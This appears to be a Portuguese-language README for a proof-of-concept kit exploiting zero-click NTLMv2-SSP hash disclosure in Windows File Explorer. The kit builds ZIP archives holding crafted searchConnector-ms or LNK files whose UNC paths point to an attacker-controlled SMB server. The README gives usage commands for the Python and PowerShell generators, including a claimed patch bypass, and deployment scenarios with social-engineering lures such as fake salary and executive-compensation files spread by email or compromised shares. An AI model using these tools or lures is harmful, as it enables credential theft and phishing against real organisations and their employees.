
Divulgação de Hash NTLMv2-SSP com Zero Clique no Windows File Explorer
Clique na imagem acima para assistir à demonstração da vulnerabilidade
O problema de segurança fundamental reside no processamento automático pelo Shell do Windows de caminhos UNC embutidos em formatos de arquivo específicos durante operações de pré-visualização. Quando os usuários abrem arquivos ZIP contendo arquivos especialmente criados, o Windows Explorer resolve automaticamente os caminhos UNC sem o consentimento do usuário, iniciando tentativas de autenticação SMB e expondo hashes NTLMv2-SSP a servidores controlados pelo atacante.
Arquivo: ntlm-disclosure-poc.py
Esta implementação inicial explora arquivos Windows Search Connector (.searchConnector-ms), que são arquivos de configuração baseados em XML que definem locais de pesquisa para o Windows Explorer. A vulnerabilidade é acionada quando o Windows processa automaticamente o caminho UNC embutido no elemento simpleLocation durante a operação de pré-visualização de arquivos ZIP.
Características Técnicas:
searchConnectorDescriptionArquivo: patch_bypass.ps1
Esta técnica aprimorada aborda o patch inicial da Microsoft ao aproveitar as propriedades de arquivos LNK. O ataque explora o comportamento do Windows Explorer de buscar metadados de ícones e resolver caminhos de destino durante a pré-visualização de arquivos ZIP, mantendo o vetor de exploração de zero clique por meio da configuração cuidadosa de propriedades.
Características Técnicas:
TargetPath3.6+colorama5.1+Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser# Uso básico
python ntml-disclosure-poc.py 192.168.1.100
# Com arquivo de saída personalizado
python ntml-disclosure-poc.py 192.168.1.100 -o some_data.zip
# Exemplo de saída
[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir
[*] COMPLETE Package: Project_20241125_143022.zip
[*] Output: PATH\Project_20251123_175037.zip
Parâmetros
target (obrigatório): Endereço IP ou nome do host de destino
-o, --output: Nome de arquivo de saída personalizado para o pacote ZIP
# Uso básico - arquivo LNK removido automaticamente
.\bypass.ps1 -IP 192.168.1.100
# Manter arquivo LNK para distribuição externa
.\bypass.ps1 -IP 192.168.1.100 -KeepLnk
# Nome de isca e compartilhamento personalizados
.\bypass.ps1 -IP 192.168.1.100 -Share documents -File budget.xlsx -Lure FileName" -KeepLnk
# Especificar diretório de saída
.\bypass.ps1 -IP 192.168.1.100 -OutDir "C:\Payloads" -KeepLnk
Parâmetros
-IP (obrigatório): Endereço IP do servidor SMB de destino
-Share: Nome do compartilhamento SMB (padrão: 'share')
-File: Nome do arquivo de destino (padrão: 'payload.exe')
-Lure: Nome do arquivo de isca (padrão: 'Your_File_For_Payload_Here')
-OutDir: Diretório de saída (padrão: diretório atual)
-KeepLnk: Preservar o arquivo LNK após a criação do ZIP
| Vetor | Mecanismo de Gatilho | Interação do Usuário | Status do Patch |
|---|---|---|---|
| 🔗 SearchConnector | Parsing XML + resolução UNC | Abrir ZIP | 🛡️ Corrigido |
| 📎 LNK TargetPath | Busca de metadados de ícone | Abrir ZIP | 🔴 Ativo |
graph TD
A[🔴 CVE-2025-24054<br/>Vulnerabilidade Inicial] --> B[🛡️ Patch Microsoft]
B --> C[🟠 CVE-2025-50154<br/>Bypass #1]
C --> D[🛡️ Patch Microsoft]
D --> E[🟡 CVE-2025-59214<br/>Bypass #2]
E --> F[🔴 Estado Atual<br/>Exploração Ativa]
style A fill:#ffcccc
style C fill:#ffddcc
style E fill:#ffffcc
style F fill:#ccffcc
📨 Cenário 1: Distribuição Direta de ZIP
# Criar payload ZIP
.\bypass.ps1 -IP 192.168.1.100 -Lure "Salary_Report_Q4_2025"
# Vetores de distribuição:
# - 📧 Anexos de e-mail com iscas de engenharia social
# - ☁️ Serviços de compartilhamento de arquivos comprometidos
# - 🌐 Quedas de compartilhamento de rede em ambientes corporativos
🔄 Cenário 2: Transferência de Arquivo LNK
# Criar e preservar arquivo LNK para implantação em vários hosts
.\bypass.ps1 -IP 192.168.1.100 -Lure "Project_Documentation" -KeepLnk
# Implantação entre hosts:
copy-item "Project_Documentation.lnk" "\\remote-server\share\"
# Distribuição baseada na web via sites comprometidos
🎯 Cenário 3: Engenharia Social Direcionada
.\bypass.ps1 -IP 192.168.1.100 -Share "HR_Documents" -File "compensation_review.xlsx" -Lure "Executive_Compensation_2025" -KeepLnk